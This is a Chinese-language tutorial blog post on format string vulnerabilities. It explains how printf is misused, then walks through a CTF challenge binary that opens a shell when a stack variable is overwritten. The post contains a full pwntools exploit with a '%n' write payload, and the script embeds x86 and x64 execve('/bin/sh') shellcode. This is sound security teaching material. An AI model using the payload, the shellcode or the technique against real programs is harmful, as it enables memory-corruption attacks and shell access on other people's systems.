PWN入门-格式化字符串漏洞

VSole2022-06-07 16:53:33

在我们学习c语言的时候我们就知道在输出或者输入的时候需要使用%s%d等等格式化字符,此处不过多介绍,详情可以去看看c语言的基础知识。

此处放出一些常见的格式化字符串函数:

1. #include  2. int printf(const char *format, ...);3. int fprintf(FILE stream, const char format, ...);4. int dprintf(int fd, const char *format, ...);5. int sprintf(char str, const char format, ...);6. int snprintf(char str, size_t size, const char format, ...);

转换指示符号:


长度:

示例:

#include #include void mian(){    char *format = "%s";    char *arg1 ="Hello!I‘m ReStr0!";    printf(format,arg1);}此处是格式化字符串的使用方式
当我们运行它时printf("%03d.%03d.%03d.%03d", 127,0,0,1);//"127.000.000.001"2. printf("%.2f", 1.2345); // 1.233. printf("%#010x", 3735928559); // 0xdeadbeef5. printf("%s%n", "01234", &n); // n = 5

这里拿printf格式化字符举例,在glibc库中它的相关代码如下:

可以看出它从输出流种会将输出的内容按照我们设置的format进行格式化输出。

漏洞产生原因和利用原理

/***我们在正常的对格式化字符输出时大都使用printf(*format,*arg);此种形式进行输出,但是部分程序员在开发的使用,为了省事使用了,printf(*format);进行输出为了方便对比,我将在下面贴出正常和存在格式化字符漏洞的写法。***/错误:#include void main(){    char str[1024];    scanf(%s,&str);    printf(%s);}  正确:#include void main(){    char str[1024];    scanf(%s,&str);    printf(%s,str);}//但是如果我们正常输入字符的情况下,此时两个都是可以正常输出我们需要的字符串,但是当我们将%x作为arg键入后,//错误的代码会将此处的地址打印出来,通过%n操作符我们可以修改指定地址的数据以达到劫持程序流的目的。//而且此时因为数据长的很长,我们可以输入很多的格式化字符,来泄露我们需要的地址或者其他信息(canary等)。//最常见的就是通过格式化字符串漏洞泄露libc进行计算基址,泄露canary 进行bypass或者通过格式化字符串漏洞进行对got表地址某几位的改写。

CTF题目例子

int __cdecl main(int argc, const char **argv, const char **envp){  int a; // [rsp+Ch] [rbp-74h] BYREF  char str[100]; // [rsp+10h] [rbp-70h] BYREF   memset(str, 0, sizeof(str));  a = 16;  printf("ReStr0 tell you %p", &a);  __isoc99_scanf("%s", str);  printf(str);  if ( a == 32 )  {    puts("success");    system("/bin/sh");  }  else  {    puts("failure");  }  return 0;}

这道题目我是用64位进行编译的,我们审计代码得知,题目告诉你a的地址,只要我们通过格式化字符串漏洞修改a的值为32就可以getshell,我们也知道可以通过%x$n+p64(a_addr)修改值,那么我们该如何计算这个偏移x呢?

两张图看懂如何计算偏移

此处我们也可以通过pwndbg自带的fmtarg进行计算。

首先我们在printf的地方打下断点。

然后c运行后在输入出随便输入字符aaaa。

随后停在因为之前打了断点,在printf出停下,发现aaaa返回地址在0x7fffffffdb90 输入fmtarg 0x7fffffffdb90 即可计算出偏移为8。

我们也可以通过上面的两张图方法计算出偏移。

附上编译好的bin程序和exp。

binary程序下载地址

链接:https://pan.baidu.com/s/11VvBozTXEZKs3ownh4grqg 

提取码:hjtp

EXP:

# _*_ coding:utf-8 _*_from pwn import *context.log_level = 'debug' p=process("fofo")#p=remote("123.57.230.48","12342")    def debug(addr,PIE=True):    debug_str = ""    if PIE:        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)        for i in addr:            debug_str+='b *{}'.format(hex(text_base+i))        gdb.attach(p,debug_str)    else:        for i in addr:            debug_str+='b *{}'.format(hex(i))        gdb.attach(p,debug_str) def dbg():    gdb.attach(p)#-----------------------------------------------------------------------------------------s       = lambda data               :p.send(str(data))        #in case that data is an intsa      = lambda delim,data         :p.sendafter(str(delim), str(data))sl      = lambda data               :p.sendline(str(data))sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))r       = lambda numb=4096          :p.recv(numb)ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)it      = lambda                    :p.interactive()uu32    = lambda data   :u32(data.ljust(4, '\0'))uu64    = lambda data   :u64(data.ljust(8, '\0'))bp      = lambda bkp                :pdbg.bp(bkp)li      = lambda str1,data1         :log.success(str1+'========>'+hex(data1))  def dbgc(addr):    gdb.attach(p,"b*" + hex(addr) +" c") def lg(s,addr):    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"#https://www.exploit-db.com/shellcodes#----------------------------------------------------------------------------------------- ru("0x")stack = int(r(12),16)#lg('stack',stack)#print#log.info(hex(stack))print hex(stack) pay = "%32c%9$n"+p64(stack)sl(pay)sleep(0.1)it()
printflambda
本作品采用《CC 协议》,转载必须注明作者和本文链接
2021安洵杯PWN WP详解
2021-12-29 16:41:08
做了2021安洵杯线上赛题目,总体来说题目有简单有难的,难易程度合适,这次就做了pwn,把四道pwn题思路总结一下,重点是没几个人做出来的最后一道pwnsky,赛后做了复现。
赛时有考虑过ret to dl_resolve的做法,在网上查了下也没发现有相关的文章,当时也没有详细研究,这次趁着期末考前有空,仔细琢磨了一下。
在我们学习c语言的时候我们就知道在输出或者输入的时候需要使用%s%d等等格式化字符,此处不过多介绍,详情可以去看看c语言的基础知识。
Kernel PWN从入门到提升
2023-03-23 10:17:57
所以我决定用此文章结合一道不错的例题尽可能详细的来讲一下kernel pwn从入门过渡到较高难度的部分,供想要学习kernel pwn的小伙伴们参考。文件系统kernel题一般都会给出一个打包好的文件系统,因此需要掌握常用到的打包/解包命令。
从某新生赛入门PWN
2022-11-26 16:02:34
本文为看雪论坛优秀文章看雪论坛作者ID:bad_c0de在某平台上看到了质量不错的新生赛,难度也比较适宜,因此尝试通过该比赛进行入门,也将自己所学分享给大家。赛题ezcmp赛题分析该程序的C代码如下,因此我们只要使buff和test的前三十个字节相同即可。因此可以直接在比较处下断点查看buff数组的值即可。#includechar buff[100];int v0;char buffff[]="ABCDEFGHIJKLMNOPQRSTUVWXYZ1234";char bua[]="abcdefghijklmnopqrstuvwxyz4321";char* enccrypt{ int a; for{ a=rand(); buf[i]^=buffff[i]; buff[i]^=bua[i]; for{ buf[j]=buff[i]; buf[i]+='2'; } buf[i]-=&0xff; buf[i]+=&0xff; }}int main(){ setbuf; setbuf; setbuf; puts; char buf[]="Ayaka_nbbbbbbbbbbbbbbbbb_pluss"; strcpy; char test[30]; int v0=1; srand; enccrypt; read; if(!ezr0p64赛题分析查看保护同理可以通过rop进行绕过。
前置知识Intel汇编,栈溢出利用,基础rop链Stack_migration介绍当我们发现存在栈溢出漏洞,但是溢出字节非常小,比如0x10的时候我们就需要利用栈迁移,将栈迁移置足够大的区段去编写rop链以达到我们利用的目的。为了方便教学,这里以CTF赛题的形式进行教学。
对于堆的恐惧来自堆复杂的管理机制,相较于栈来说复杂太多了,再加上使用GDB调试学习堆时,每次堆分配时,调试起来相当的麻烦,所以一直都是理论学习,堆不敢碰不敢尝试。今日小明同学终于排除了心中对堆的恐惧,在高铁上尝试了一下堆,熟悉了堆的分配机制。题目分析基本信息分析查看文件类型,32位,没有去掉符号。notepad_new大致通过注释解释了一下分析过程,后面不再进行详细的分析。
我们现在一般做题题目是给出很大的一块空间供我们写入栈溢出的ROP链的,但是当题目限制输入的空间比如说几个字节呢,只能覆盖到ebp,ret_addr,这个时候就需要栈迁移这样的骚操作了,接下来我将用很通俗的语言带你们深入理解栈迁移。
house of force 主要利用 top chunk 的漏洞 通过修改topchunk_size来进行攻击 利用 top chunk 分割的漏洞来申请任意 chunk, 然后再劫持 hook 或者更改 got表
0x00 日常查壳无壳64位0x01 CFGGETC在讲这题ollvm与异常处理之前,有必要先搞懂我们到底是怎么输入的。一共有三处getc处理我们第一段输入的地方。程序最先开始运行的是 407629,这里我们可以输入上下左右箭头与特定的数字。随后到 40553A 读取为5B。
VSole
网络安全专家